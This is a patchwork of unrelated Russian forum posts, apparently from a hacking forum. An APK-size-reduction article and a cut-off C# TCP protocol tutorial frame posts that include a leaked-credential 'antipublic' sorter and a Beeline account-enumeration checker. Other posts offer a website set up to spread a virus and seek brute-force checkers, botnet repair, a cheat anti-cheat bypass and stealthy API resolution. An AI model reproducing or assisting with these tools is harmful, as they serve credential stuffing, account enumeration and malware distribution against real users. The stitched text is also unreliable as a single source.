Полтора мегабайта кажутся слишком большим размером с учётом того, что делает наше приложение (а оно ничего не делает), так что давайте изучим проект и поищем, где по-быстрому сэкономить на объёме. Вот что сгенерировал Android Studio:
Пожалуй, проще всего разобраться с иконками, учитывая, что там в общей
сложности 15 изображений и два XML-файла под mipmap-anydpi-v26
. Давайте
посчитаем всё это в APK
Analyser из
Android Studio.
Вопреки нашим первоначальным предположениям, похоже, что самый большой файл — Dex, а на ресурсы приходится всего 20% от размера APK.
Файл| Размер
---|---
classes.dex| 74%
res| 20%
resources.arsc| 4%
META-INF| 2%
AndroidManifest.xml| <1%
Исследуем по отдельности, что делает каждый файл.
Файл Dex
classes.dex — главный виновник раздутого APK, он занимает 73% всего объёма и поэтому станет первой целью оптимизации. Этот файл содержит весь наш скомпилированный код в формате Dex, а также список внешних методов во фреймворке Android и библиотеку поддержки.
В пакете android.support перечисляется более 13 000 методов, что кажется излишним для приложения типа "Hello World".
Ресурсы
В директории res находится большое количество файлов шаблонов, чертежей (drawables) и анимаций, которые сразу не видны в интерфейсе Android Studio. Опять же, они вытянуты из библиотеки поддержки и занимают около 20% размера APK.
Файл resources.arsc также содержит список всех этих ресурсов.
Подпись
В папке META-INF
находятся файлы CERT.SF
, MANIFEST.MF
и CERT.RSA
,
которые нужны для подписи v1
APK. Если
злоумышленник изменит код внутри APK, то подписи не совпадут, что защищает
пользователя от запуска постороннего зловреда.
В MANIFEST.MF
перечисляются файлы из APK, а CERT.SF содержит контрольные
суммы манифеста и каждого отдельного файла. В CERT.RSA хранится открытый ключ,
которым проверяется цельность CERT.SF.
Здесь нет очевидных целей для оптимизации.
AndroidManifest
AndroidManifest очень похож на наш оригинальный файл. Единственное отличие —
вместо ресурсов вроде строк и drawables здесь указаны их целочисленные
идентификаторы, начиная с 0x7F
.
Включаем минификацию
Мы ещё не пробовали включить опцию минификации и сжатия ресурсов в файле build.gradle для нашего приложения. Сделаем это.
Code:Copy to clipboard
android {
buildTypes {
release {
minifyEnabled true
shrinkResources true
proguardFiles getDefaultProguardFile(
'proguard-android.txt'), 'proguard-rules.pro'
}
}
}
Code:Copy to clipboard
-keep class com.fractalwrench.** { *; }
Если установить minifyEnabled
в значение true, то активируется
Proguard, который очищает
приложение от ненужного кода. А также обфусцирует имена символов, затрудняя
обратную разработку приложения.
shrinkResources
удалит из APK любые ресурсы, на которые нет прямой ссылки.
Могут возникнуть проблемы, если вы получаете доступ к ресурсам не напрямую, но
к нашему приложению это не относится.
786 КБ (уменьшение на 50%)
Мы наполовину уменьшили размер APK без видимого изменения в работе программы.
Если вы ещё не включили minifyEnabled и shrinkResources в своём приложении, это самая главная вещь, которую следует вынести из этой статьи. Можно легко сэкономить несколько мегабайт, потратив всего парочку часов на конфигурацию и тестирование.
Прощай, AppCompat, мы едва тебя узнали
classes.dex теперь занимает 57% всего APK. Основная часть списка методов из файла Dex принадлежит пакету android.support, так что мы собираемся удалить библиотеку поддержки. Для этого нужно сделать следующее:
Code:Copy to clipboard
dependencies {
implementation 'com.android.support:appcompat-v7:26.1.0'
implementation 'com.android.support.constraint:constraint-layout:1.0.2'
}
Code:Copy to clipboard
public class MainActivity extends Activity
Code:Copy to clipboard
<?xml version="1.0" encoding="utf-8"?>
<TextView xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="Hello World!" />
styles.xml
и аттрибут androidheme из элемента colors.xml
.108 КБ (уменьшение на 87%)
Матерь божья, файл уменьшился почти в десять раз: с 786 КБ до 108 КБ. Единственным заметным изменением стало только изменение цвета тулбара, который окрасился в дефолтную тему ОС.
На директорию res теперь приходится 95% размера APK из-за всех этих иконок лаунчера. Если бы эти иконки делал наш дизайнер, мы бы попытались [конвертировать их в WebP](https://developer.android.com/studio/write/convert- webp.html), более эффективный формат, который поддерживается в API 15 и более поздних версиях.
К счастью, Google уже оптимизировала наши drawables, хотя в противном случае мы бы и сами могли оптимизировать их и удалить из PNG ненужные метаданные с помощью ImageOptim.
Давайте поступим нешаблонно — и заменим все наши иконки запуска единственной однопиксельной чёрной точкой в папке res/drawable. Эта картинка весит 67 байт.
6808 байт (уменьшение на 94%)
Мы избавились почти от всех ресурсов, так что неудивительно, что размер APK уменьшился примерно на 95%. В файле resources.arsc по-прежнему упоминаются следующие ресурсы:
Пойдём сверху вниз.
Файл шаблона (6262 байта, сокращение на 9%)
Фреймворк Android раздувает наш файл XML и автоматически создаёт объект TextView, который используется как contentView для Activity.
Попробуем обойтись без этого посредника, удалив файл XML и программно задав contentView. Объём ресурсов уменьшится, потому что исчезнет файл XML, но увеличится размер файла Dex, поскольку мы упоминаем там дополнительные методы TextView.
Code:Copy to clipboard
TextView textView = new TextView(this);
textView.setText("Hello World!");
setContentView(textView);
Выглядит как неплохой обмен.
Имя приложения (6034 байта, сокращение на 4%)
Давайте удалим strings.xml и заменим android:label в манифесте AndroidManifest буквой "A". Это кажется маленьким изменением, но удаление записи из resources.arsc уменьшает количество символов в манифесте и удаляет файл из директории res. Каждая мелочь идёт на пользу — мы только что сэкономили 228 байт.
Иконка лаунчера (5300 байт, сокращение на 13%)
[Документация для resources.arsc](https://android.googlesource.com/platform/frameworks/native/+/jb- dev/libs/utils/README) в репозитории Android Platform объясняет, что каждый ресурс APK упоминается в resources.arsc с целочисленным идентификатором. У этих ID два пространства имён:
_0x01: системные ресурсы (предустановленные в framework-res.apk)
0x7f: ресурсы приложения (в файле .apk приложения)_
Click to expand...
Так что произойдёт с нашим APK, если мы поставил ссылку на ресурс в пространстве имён 0x01? По идее, мы получим более красивую иконку и одновременно уменьшим размер своего файла.
Code:Copy to clipboard
android:icon="@android:drawable/btn_star"
Само собой, вам никогда не следует доверять системным ресурсам вроде иконок в реальном рабочем приложении. Такой метод провалит валидацию в Google Play, а некоторые производители ещё и по-своему определяют белый цвет, так что действуйте осторожно.
Манифест (5252 байта, сокращение на 1%)
Мы ещё не трогали манифест.
Code:Copy to clipboard
android:allowBackup="true"
android:supportsRtl="true"
Удаление этих аттрибутов экономит 48 байт.
Хак Proguard (4984 байта, сокращение на 5%)
Похоже, что классы BuildConfig и R ещё остались в файле Dex.
Code:Copy to clipboard
-keep class com.fractalwrench.MainActivity { *; }
Уточнение правила Proguard удалит ненужные классы.
Обфускация (4936 байт, сокращение на 1%)
Обфусцируем имя для класса Activity. Для обычных классов Proguard автоматически делает это, но поскольку имя класса Activity вызывается через Intents, его не обфусцировали по умолчанию.
_MainActivity - > c.java
com.fractalwrench.apkgolf -> c.c_
Click to expand...
META-INF (3307 байт, сокращение на 33%)
В данный момент мы подписываем приложение одновременно подписями v1 и v2. Это кажется лишней тратой ресурсов, потому что v2 обеспечивает [превосходную защиту и производительность](https://source.android.com/security/apksigning/#apk- signing-schemes), хешируя весь APK целиком.
Подпись v2 не видна из APK Analyser, поскольку включена в бинарный блок в самом файле APK. Подпись v1 видна, в виде файлов CERT.RSA и CERT.SF.
Давайте уберём галочку для подписи v1 в интерфейсе Android Studio и сгенерируем подписанный APK. Попробуем сделать и наоборот.
Подпись| Размер
---|---
v1| 3511
v2| 3307
Похоже, теперь мы будем использовать v2.
Куда мы идём — там не нужны IDE
Пришло время редактировать APK вручную. Используем следующие команды:
Code:Copy to clipboard
# 1. Создать неподписанный apk
./gradlew assembleRelease
# 2. Разархивировать архив
unzip app-release-unsigned.apk -d app
# Сделать необходимые правки
# 3. Заархивировать архив
zip -r app app.zip
# 4. Запустить zipalign
zipalign -v -p 4 app-release-unsigned.apk app-release-aligned.apk
# 5. Запустить apksigner с подписью v2
apksigner sign --v1-signing-enabled false --ks $HOME/fake.jks --out signed-release.apk app-release-unsigned.apk
# 6. Проверить подпись
apksigner verify signed-release.apk
Детальный обзор процесса подписи APK см. [здесь](https://developer.android.com/studio/publish/app-signing.html#sign- manually). В общем, Gradle генерирует неподписанный архив, zipalign делает выравнивание по границе байта для несжатых ресурсов, чтобы оптимизировать потребление RAM после загрузки APK, и в конце запускается криптографическая процедура подписи APK.
Неподписанный и невыровненный APK весит 1902 байт, то есть процедура добавляет примерно 1 килобайт.
Несоответствие размеров файлов (2608 байт, сжатие на 21%)
Странно! Если разархивировать невыровненный APK и подписать его вручную, то пропадает файл META-INF/MANIFEST.MF, что экономит 543 байта. Если кто-то знает, почему так происходит, то дайте знать!
Теперь у нас в подписанном APK осталось три файла. Но ведь мы можем ещё избавиться от файла resources.arsc, потому что не устанавливаем никаких ресурсов!
После этого остаётся только манифест и файл classes.dex, оба примерно одинакового размера.
Хаки со сжатием (2599 байт, сокращение на 0,5%)
Теперь изменим все оставшиеся строки на ‘c’, обновив версии до 26, а затем сгенерируем подписанный APK.
Code:Copy to clipboard
compileSdkVersion 26
buildToolsVersion "26.0.1"
defaultConfig {
applicationId "c.c"
minSdkVersion 26
targetSdkVersion 26
versionCode 26
versionName "26"
}
Code:Copy to clipboard
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="c.c">
<application
android:icon="@android:drawable/btn_star"
android:label="c"
>
<activity android:name="c.c.c">
Это уменьшает размер ещё на 9 байт.
Хотя количество символов в файле не изменилось, но дело в том, что увеличилась частотность символа ‘c’. В результате алгоритм сжатия сработал более эффективно.
Привет, ADB (2462 байт, сокращение на 5%)
Можно ещё сильнее оптимизировать манифест, удалив фильтр намерения Launch для класса Activity. С этого момента будем запускать приложение следующей командой:
Code:Copy to clipboard
adb shell am start -a android.intent.action.MAIN -n c.c/.c
Вот новый манифест:
Code:Copy to clipboard
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="c.c">
<application>
<activity
android:name="c"
android:exported="true" />
</application>
</manifest>
Мы также избавились от иконки лаунчера.
Очистка от ссылок на методы (2179 байт, сокращение на 12%)
По изначальным условиям, мы должны подготовить APK, который способен установиться на устройство.
Наше приложение перечисляет методы в классах TextView, Bundle и Activity. Можно уменьшить размер файла Dex, удалив эти ссылки и заменив их новым классом Application. Таким образом, файл Dex теперь будет ссылаться на единственный метод — конструктор класса Application.
Исходные файлы теперь выглядят следующим образом:
Code:Copy to clipboard
package c.c;
import android.app.Application;
public class c extends Application {}
Code:Copy to clipboard
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="c.c">
<application android:name=".c" />
</manifest>
Используем adb для проверки, что APK успешно установился, это можно также проверить через «Настройки».
Оптимизация Dex (1961 байт, сокращение на 10%)
Я потратил несколько часов, изучая формат файла Dex ради этой оптимизации, поскольку разные механизмы вроде контрольных сумм и смещений затрудняют ручное редактирование.
Если вкратце, в итоге выяснилось, что единственным требованием для установки APK является факт существования файла classes.dex. Поэтому мы просто удалим оригинальный файл, запустим touch classes.dex в консоли и сэкономим 10% от размера, используя пустой файл.
Иногда глупейшее решение — самое лучшее.
Понимание манифеста (1961 байт, сокращение на 0%)
Манифест неподписанного APK — это файл в бинарном формате XML, который вроде бы официально не документирован. Можно изменить содержимое файла с помощью редактора HexFiend.
В заголовке файла угадываются некоторые интересные элементы — первые четыре байта кодируют 38, что совпадает с номером версии файла Dex. Следующие два байта кодируют 660, что совпадает с размером файла.
Попробуем удалить один байт, установив targetSdkVersion на 1, и изменив размер файла в заголовке на 659. К сожалению, система Android отвергает новый файл как неправильный APK. Похоже, тут всё устроено как-то посложнее…
Непонимание манифеста (1777 байт, сокращение на 9%)
А попробуем набросать случайных символов по всему файлу, а затем установить APK, не изменяя указанный размер файла. Так мы проверим, осуществляется ли проверка контрольной суммы, и как наши изменения повлияют на смещения в заголовке файла.
Удивительно, но такой манифест воспринят как валидный APK на Nexus 5X под Oreo:
Мне кажется, я только что услышал, как разработчик фреймворка Android, ответственный за поддержку BinaryXMLParser.java, очень громко закричал в подушку.
Для максимальной выгоды нужно заменить все эти глупые символы нулевыми байтами. Это поможет распознать важные части файла в HexFiend, а также сократит несколько байт благодаря хаку сжатия, упомянутому выше.
Манифест UTF-8
Вот важные компоненты Manifest, без которых APK не установится.
Некоторые вещи очевидны, такие как теги манифеста и пакета. В пуле строк видны versionCode и название пакета.
Шестнадцатиричный манифест
Просмотр файла в шестнадцатиричном виде показывает значения в заголовке файла, которые описывают пул строк и другие значения, вроде размера файла 0x9402. Строки тоже интересно закодированы — если они больше 8 байт, то общая длина указывается в двух предыдущих байтах.
Но вряд ли здесь можно найти другие варианты для оптимизации.
Готово? (1757 байт, сокращение 1%)
Изучим окончательный APK.
В течение всего этого имени в APK было указано моё имя в подписи v2. Создадим
новое хранилище ключей, в котором используется хак для сжатия.
Мы сэкономили 20 байт.
Шаг 5: Признание
1757 байт — это очень мало, чёрт возьми. И насколько я знаю, это самый маленький существующий APK.
Однако я разумно полагаю, что кто-нибудь из Android-сообщества способен выполнить дальнейшие оптимизации и ещё улучшить результат. Если вы умудритесь уменьшить файл с нынешних 1757 байт, присылайте пулл-реквест в репозиторий, где хостится самый маленький APK, или сообщайте в твиттере. (С момента публикации статьи файл уже уменьшили до 820 байт — прим. пер.)
Автор оригинала: [ Jamie Lynch](https://fractalwrench.co.uk/posts/playing-apk-
golf-how-low-can-an-android-app-go/)
2017 год
Доброго времени суток. Сегодня мы напишем локальный антипаблик почт\url да
чего угодно.
Работать мы будем с mysql добавлять\проверять есть ли почта в АП.
Для начала создадим в mysql базу и таблицы.
https://pastebin.com/uzmk4THU (на пастебине ибо на форуме нельзя создать
тему с таким кодом)
Дальше по коду все просто
Spoiler
C#:Copy to clipboard
using System;
using System.IO;
using System.Text;
using System.Windows.Forms;
using MySql.Data.MySqlClient; //библа для работы с mysql сервером
namespace AntiPublic
{
internal class Program
{
private static string FNAME = string.Empty;
[STAThread]
private static void Main()
{
Console.Title = "AntiPublic (mp) byGuron";
LoadBase(); //загрузка базы
Sqlconn(); //функция проверки
}
private static void LoadBase()
{
var ofd = new OpenFileDialog {Filter = "All text|*.txt;*.csv;*.dic;*.log|All files|*.*" };
if (ofd.ShowDialog() != DialogResult.OK) Environment.Exit(0); //если база не загружена пишем это и выходим с проги.
FNAME = ofd.FileName;
}
private static void Sqlconn()
{
const string config = "server=localhost;user=root;password=123456;persistsecurityinfo=True;"; //данные для подключения к БД
using (var con = new MySqlConnection(config))
{
con.Open(); // Открываем плдключение 1 раз
var startDate = DateTime.Now;
Console.WriteLine("Arbaiten...");
using (var sw1 = new StreamWriter("Gur_ap_private.txt", true, Encoding.UTF8))
using (var sw2 = new StreamWriter("Gur_ap_public.txt", true, Encoding.UTF8))
using (var sw3 = new StreamWriter("Gur_ap_error.txt", true, Encoding.UTF8))
//{
foreach (var str in File.ReadLines(FNAME)) //перечисляем строки
{
if (string.IsNullOrEmpty(str)) continue; //если стога пуста то проверяем следующую
var ch = str[0].ToString(); //це що бы разбивать бД на несколько таблиц. (потому как искать в 1 ляме проще чем в допустим 30лямах )
switch (ch)
{
case "1":
case "2":
case "3":
case "4":
case "5":
case "6":
case "7":
case "8":
case "9":
case "0":
case ".":
case "_":
case "-":
ch = "UnderDashDot09";
break;
}
var acc = str.Split(':', ';'); // оиделяем email от пароля
if (acc.Length != 2) // если это не email:pass то пшем в error
{
sw3.WriteLine(str);
continue;
}
var sql = $"INSERT INTO AntiMail.{ch} (mail, pass) VALUES ('{acc[0].ToLower()}', '{acc[1]}')"; //делаем запрос в БД
var comm = new MySqlCommand(sql, con);
try
{
comm.ExecuteNonQuery();
sw1.WriteLine(str);
}
catch (Exception e)
{
if (e.Message.Contains("Duplicate entry"))
sw2.WriteLine(str); //если строка присутствует то пишем в public
else
sw3.WriteLine(str); //иначе в private
}
}
}
Console.WriteLine(DateTime.Now - startDate);
con.Close(); //по окончпании чека закрываем подключение
Console.WriteLine("Готово!");
Console.Read();
}
}
}
}
Результат работы: 100к прочекало за 15сек.
Ну и конечно же сам готовый АП. (запускаем сервер через start.bat либо
устанавливаем свой denver, xampp)
You must have at least 5 reaction(s) to view the content.
Есть такой код:
C#:Copy to clipboard
using (var browser = new WebBrowser())
{
//browser.ScriptErrorsSuppressed = true;
browser.Navigate("https://vk.com/login");
browser.DocumentCompleted += delegate // - не вызывается, ReadyState всегда Uninitialized
{
// обработка страницы
}
};
но при этом document = null, DocumentCompleted никогда не вызывается, а при отладке видно, что ReadyState у браузера всегда Uninitialized. Что я делаю не так? ._.
Привет всем. Вообщем то есть у меня функция, которая выглядит примерно так :
C:Copy to clipboard
LPVOID xGetProcAddress(HMODULE hModule, DWORD dwHash)
Она проверена на работоспособность, всё отлично. Загружаю ей множество функций из разных дллок - всё прекрасно работает.
Появилась нужда загрузить HeapAlloc из kernel32.dll, я получаю через PEB HMODULE kernel32, пытаюсь загрузить функцию - она не находится. Если юзаю дефолтный гет проц адресс - всё работает. Повторюсь, с другими функциями из Kernel32 - мой getprocaddress ладит. Надеюсь на вашу помощь, работа заступорилась.
Интересует написание сложного Brute and Checker по ios/android API с высокими
требованиями, тз можно получить в личку в тг @FastSave, работа с гарантом
приветствуется.
Софт нужно будет переодически поддерживать, условия оговариваются.
Добрый день юзеры! Как сделать систему языков в forms1, чтобы можно менять языки пример с Русс на Англ! ( Переключатель так сказать! )
Пример на фото:
Продам и полностью настрою скрипт сайта с читами!
Настрою скрипт под вас, сайт отлично подойдет под распространение вашего
вируса.
Цена: 500 рублей за эту цены вы получите - Мою поддержку и помощь в настройке,
расскажу какой лучше взять хост, бесплатный SSL что даст жертве больше
уверенности в сайте.
Для связи со мной: https://t.me/siteq1w8
Демка: http://ck26911.tmweb.ru/
You must have at least 1 reaction(s) to view the content.
Статья опубликована в ознакомительных целях. Автор не несет ответственности за любой возможный вред, причиненный материалами данной статьи.
Click to expand...
Доброго времени суток. Сегодня мы напишем простенький чекер\валидатор телефонных номеров на мобильный оператор beeline.ru (он же ПЧЕЛАйн).
Для начала нам нужно подключить библиотеку для работы с интернетом.
C#:Copy to clipboard
using System.Net;
Далее объявить пару переменных.
C#:Copy to clipboard
string telCode = "905"; //код оператора
string telNum = "2006735"; //взял рандомный телефон с гугла (ничего личного)
string result; //переменная для результата
К слову коды оператора можно взять на офф сайте или
https://codificator.ru/code/mobile/beeline.html
Но, что бы вы не парились вот вам сразу список.
900, 902, 903, 904, 905, 906, 908, 909, 950, 951, 953, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 980, 983, 986
Click to expand...
Формируем запрос из всего вышеперечисленного
You must have at least 5 reaction(s) to view the content.
Теперь все готово. Можно слать запрос.
C#:Copy to clipboard
while (true) //Запускаем цикл он будет работать пока не получит точного ответа
{
try
{
result = new WebClient().DownloadString(stringBuild); //сам запрос
break; //все нормально, ответ получен, выход из цикла
}
catch { /* Если нет соединения или любая другая ошибка то повторяем пока сервер не ответит нормально*/ }
}
Осталось обработать результат и выдать наконец-то валидный номер или нет.
C#:Copy to clipboard
if (result.Contains("firstTimeLogin\":true"))
Console.WriteLine($"Good: +7{telCode}{telNum}");
else
Console.WriteLine($"Bad: +7{telCode}{telNum}");
Ну вот и все. Всем спасибо. Не злоупотребляйте, а разработчики будьте бдительны и не принебрегайте элементарными средствами защиты в данном случае хотя бы капчей.
Полный код:
You must have at least 5 reaction(s) to view the content.
Автор: byGuron. Специально для xss.is.
Ищу кодера для чита кс 1.6 обход маяка 1.7.2
Имеется следующий код :
C:Copy to clipboard
LPWSTR Base64Encode(LPWSTR lpString)
{
DWORD dwLengthNeeded = 0;
if (CryptBinaryToStringW((BYTE*)lpString, sizeof(lpString), CRYPT_STRING_BASE64, NULL, &dwLengthNeeded))
{
LPWSTR lpEncString = (LPWSTR)LocalAlloc(0, sizeof(WCHAR) * (dwLengthNeeded + 1));
if (CryptBinaryToStringW((BYTE*)lpString, sizeof(lpString), CRYPT_STRING_BASE64, lpEncString, &dwLengthNeeded))
{
return lpEncString;
}
}
return NULL;
}
Но он возвращает некорректный результат. С анси функциями все в порядке, с их юникод аналогами - лажа. Подскажите пожалуйста, в чём моя ошибка.
Нужно создать приложение на андроид
P.S тема диплом Университет
По остальным вопросам оплаты и остального в лс срочно!!!!!!
Ходят слухи что если в:
C/C++ -> Оптимизация
включить оптимизацию, к примеру краткость кода, то будет зависимость от CRT,
это так?
пишу софт просто, весит 5кб, с сжатием таким весит 4кб, саблазн велик.
приветствую, нашел ботнет на c#(очень простой), декомпилировал его dnspy, ну
тут проблема в коде декомпилятор при восстановлении
допустил ошибки, в с# только основы знаю. Моя просьба достаточно конченная,
кто сможет поправить все
Привет всем. Подкиньте пожалуйста сорец трансформации из .exe в .dll в рантайме. Спасибо.
SQL info byGuron - Тулза сканирует директорию на .sql файлы и ищет в них информацию о БД и колонках.
AllDir - поиск в подпапках.
Detail - подробный вывод результатов.
Софт+ сорцы
Hidden content for authorized users.
View and download from Yandex.Disk
yadi.sk
Помогите с задачей:
написать консольное приложение на языке C++
функции :
вычислять айпи буквенное* (пример: primer.com )сервера в цифровое (пример:
123.123.123)
Всем привет. Имею следующий код :
Spoiler: Код
#include <Windows.h>
HCRYPTPROV hProv;
HCRYPTKEY hKey;
bool InitRSA()
{
if (!CryptAcquireContextW(&hProv, NULL, MS_ENHANCED_PROV_W, PROV_RSA_FULL,
CRYPT_VERIFYCONTEXT))
{
if (GetLastError() == NTE_BAD_KEYSET)
{
return CryptAcquireContextW(&hProv, NULL, MS_ENHANCED_PROV_W, PROV_RSA_FULL,
CRYPT_NEWKEYSET);
}
return false;
}
return true;
}
void Entry()
{
if (InitRSA())
{
if (CryptGenKey(hProv, AT_KEYEXCHANGE, 0x08000000 + CRYPT_EXPORTABLE, &hKey))
{
DWORD dwPublicKeyLen;
if (CryptExportKey(hKey, NULL, PUBLICKEYBLOB, 0, NULL, &dwPublicKeyLen))
{
BYTE* PublicKey = (BYTE*)LocalAlloc(0, sizeof(BYTE) * dwPublicKeyLen);
if (CryptExportKey(hKey, NULL, PUBLICKEYBLOB, 0, PublicKey, &dwPublicKeyLen))
{
HANDLE hFile = CreateFileW(L"public.txt", GENERIC_WRITE, 0, 0, CREATE_ALWAYS,
0, 0);
if (hFile != NULL)
{
WriteFile(hFile, &PublicKey, dwPublicKeyLen, 0, 0);
}
}
}
}
}
}
Но в public.txt пишется мусор. Укажите на ошибку. Спасибо.
Протокол своими руками. Создаем с нуля TCP-протокол и пишем сервер на C#
Ты в жизни не раз сталкивался с разными протоколами — одни использовал,
другие, возможно, реверсил. Одни были легко читаемы, в других без hex-
редактора не разобраться. В этой статье я покажу, как создать свой собственный
протокол, который будет работать поверх TCP/IP. Мы разработаем свою структуру
данных и реализуем сервер на C#.
Итак, протокол передачи данных — это соглашение между приложениями о том, как
должны выглядеть передаваемые данные. Например, сервер и клиент могут
использовать WebSocketв связке с JSON. Вот так
приложение на Android могло бы запросить погоду с сервера:
Code:Copy to clipboard
{
"request": "getWeather",
"city": "cityname"
}
И сервер мог бы ответить:
Code:Copy to clipboard
{
"success": true,
"weatherHumanReadable": "Warm",
"degrees": 18
}
Пропарсив ответ по известной модели, приложение предоставит информацию пользователю. Выполнить парсинг такого пакета можно, только располагая информацией о его строении. Если ее нет, протокол придется реверсить.
Создаем базовую структуру протокола
Этот протокол будет базовым для простоты. Но мы будем вести его разработку с
расчетом на то, что впоследствии его расширим и усложним.
Первое, что необходимо ввести, — это наш собственный заголовок, чтобы
приложения могли отличать пакеты нашего протокола. У нас это будет набор
байтов 0xAF, 0xAA, 0xAF. Именно они и будут стоять в начале каждого сообщения.
Почти каждый бинарный протокол имеет свое «магическое число» (также «заголовок» и «сигнатура») — набор байтов в начале пакета. Оно используется для идентификации пакетов своего протокола. Остальные пакеты будут игнорироваться.
Каждый пакет будет иметь тип и подтип и будет размером в байт. Так мы сможем
создать 65 025 (255 * 255) разных типов пакетов. Пакет будет содержать в себе
поля, каждое со своим уникальным номером, тоже размером в один байт. Это
предоставит возможность иметь 255 полей в одном пакете. Чтобы удостовериться в
том, что пакет дошел до приложения полностью (и для удобства парсинга),
добавим байты, которые будут сигнализировать о конце пакета.
Завершенная структура пакета:
Code:Copy to clipboard
XPROTOCOL PACKET STRUCTURE
(offset: 0) HEADER (3 bytes) [ 0xAF, 0xAA, 0xAF ]
(offset: 3) PACKET ID
(offset: 3) PACKET TYPE (1 byte)
(offset: 4) PACKET SUBTYPE (1 byte)
(offset: 5) FIELDS (FIELD[])
(offset: END) PACKET ENDING (2 bytes) [ 0xFF, 0x00 ]
FIELD STRUCTURE
(offset: 0) FIELD ID (1 byte)
(offset: 1) FIELD SIZE (1 byte)
(offset: 2) FIELD CONTENTS
Назовем наш протокол, как ты мог заметить, XProtocol. На третьем сдвиге начинается информация о типе пакета. На пятом начинается массив из полей. Завершающим звеном будут байты 0xFF и 0x00, закрывающие пакет.
Пишем клиент и сервер
Для начала нужно ввести основные свойства, которые будет иметь пакет:
Code:Copy to clipboard
public class XPacket
{
public byte PacketType { get; private set; }
public byte PacketSubtype { get; private set; }
public List<XPacketField> Fields { get; set; } = new List<XPacketField>();
}
Добавим класс для описания поля пакета, в котором будут его данные, ID и размер.
Code:Copy to clipboard
public class XPacketField
{
public byte FieldID { get; set; }
public byte FieldSize { get; set; }
public byte[] Contents { get; set; }
}
Сделаем обычный конструктор приватным и создадим статический метод для получения нового экземпляра объекта.
Code:Copy to clipboard
private XPacket() {}
public static XPacket Create(byte type, byte subtype)
{
return new XPacket
{
PacketType = type,
PacketSubtype = subtype
};
}
Теперь можно задать тип пакета и поля, которые будут внутри него. Создадим функцию для этого. Записывать будем в поток MemoryStream. Первым делом запишем байты заголовка, типа и подтипа пакета, а потом отсортируем поля по возрастанию FieldID.
Code:Copy to clipboard
public byte[] ToPacket()
{
var packet = new MemoryStream();
packet.Write(
new byte[] {0xAF, 0xAA, 0xAF, PacketType, PacketSubtype}, 0, 5);
var fields = Fields.OrderBy(field => field.FieldID);
foreach (var field in fields)
{
packet.Write(new[] {field.FieldID, field.FieldSize}, 0, 2);
packet.Write(field.Contents, 0, field.Contents.Length);
}
packet.Write(new byte[] {0xFF, 0x00}, 0, 2);
return packet.ToArray();
}
Теперь запишем все поля. Сначала пойдет ID поля, его размер и данные. И только потом конец пакета — 0xFF, 0x00.
Теперь пора научиться парсить пакеты. Минимальный размер пакета — 7 байт: HEADER(3) + TYPE(1) + SUBTYPE(1) + PACKET ENDING(2)
Проверяем размер входного пакета, его заголовок и два последних байта. После валидации пакета получим его тип и подтип.
Code:Copy to clipboard
public static XPacket Parse(byte[] packet)
{
if (packet.Length < 7)
{
return null;
}
if (packet[0] != 0xAF ||
packet[1] != 0xAA ||
packet[2] != 0xAF)
{
return null;
}
var mIndex = packet.Length - 1;
if (packet[mIndex - 1] != 0xFF ||
packet[mIndex] != 0x00)
{
return null;
}
var type = packet[3];
var subtype = packet[4];
var xpacket = Create(type, subtype);
/* <---> */
Пора перейти к парсингу полей. Так как наш пакет заканчивается двумя байтами, мы можем узнать, когда закончились данные для парсинга. Получим ID поля и его размер, добавим к списку. Если пакет будет поврежден и будет существовать поле с ID, равным нулю, и SIZE, равным нулю, то необходимости его парсить нет.
Code:Copy to clipboard
/* <---> */
var fields = packet.Skip(5).ToArray();
while (true)
{
if (fields.Length == 2)
{
return xpacket;
}
var id = fields[0];
var size = fields[1];
var contents = size != 0 ?
fields.Skip(2).Take(size).ToArray() : null;
xpacket.Fields.Add(new XPacketField
{
FieldID = id,
FieldSize = size,
Contents = contents
});
fields = fields.Skip(2 + size).ToArray();
}
}
У кода выше есть проблема: если подменить размер одного из полей, парсинг завершится с необработанным исключением или пропарсит пакет неверно. Необходимо обеспечить безопасность пакетов. Но об этом речь пойдет чуть позже.
Учимся записывать и считывать данные
Из-за строения класса XPacket необходимо хранить бинарные данные для полей.
Чтобы установить значение поля, нам потребуется конвертировать имеющиеся
данные в массив байтов. Язык C# не предоставляет идеальных способов сделать
это, поэтому внутри пакетов будут передаваться только базовые типы: int,
double, float и так далее. Так как они имеют фиксированный размер, можно
считать его напрямую из памяти.
Чтобы получить чистые байты объекта из памяти, иногда используется метод
небезопасного кода и указателей, но есть и способы проще: благодаря классу
Marshal в C# можно взаимодействовать с unmanaged-областями нашего приложения.
Чтобы перевести любой объект фиксированной длины в байты, мы будем
пользоваться такой функцией:
Code:Copy to clipboard
public byte[] FixedObjectToByteArray(object value)
{
var rawsize = Marshal.SizeOf(value);
var rawdata = new byte[rawsize];
var handle = GCHandle.Alloc(rawdata,
GCHandleType.Pinned);
Marshal.StructureToPtr(value,
handle.AddrOfPinnedObject(),
false);
handle.Free();
return rawdata;
}
Здесь мы делаем следующее:
Теперь сделаем то же самое, только наоборот.
Code:Copy to clipboard
private T ByteArrayToFixedObject<T>(byte[] bytes) where T: struct
{
T structure;
var handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
try
{
structure = (T) Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
}
finally
{
handle.Free();
}
return structure;
}
Только что ты научился превращать объекты в массив байтов и обратно. Сейчас можно добавить функции для установки и получения значений полей. Давай создадим функцию для простого поиска поля по его ID.
Code:Copy to clipboard
public XPacketField GetField(byte id)
{
foreach (var field in Fields)
{
if (field.FieldID == id)
{
return field;
}
}
return null;
}
Добавим функцию для проверки существования поля.
Code:Copy to clipboard
public bool HasField(byte id)
{
return GetField(id) != null;
}
Получаем значение из поля.
Code:Copy to clipboard
public T GetValue<T>(byte id) where T : struct
{
var field = GetField(id);
if (field == null)
{
throw new Exception($"Field with ID {id} wasn't found.");
}
var neededSize = Marshal.SizeOf(typeof(T));
if (field.FieldSize != neededSize)
{
throw new Exception($"Can't convert field to type {typeof(T).FullName}.\n" + $"We have {field.FieldSize} bytes but we need exactly {neededSize}.");
}
return ByteArrayToFixedObject<T>(field.Contents);
}
Добавив несколько проверок и используя уже известную нам функцию, превратим набор байтов из поля в нужный нам объект типа T.
Установка значения
Мы можем принять только объекты Value-Type. Они имеют фиксированный размер, поэтому мы можем их записать.
Code:Copy to clipboard
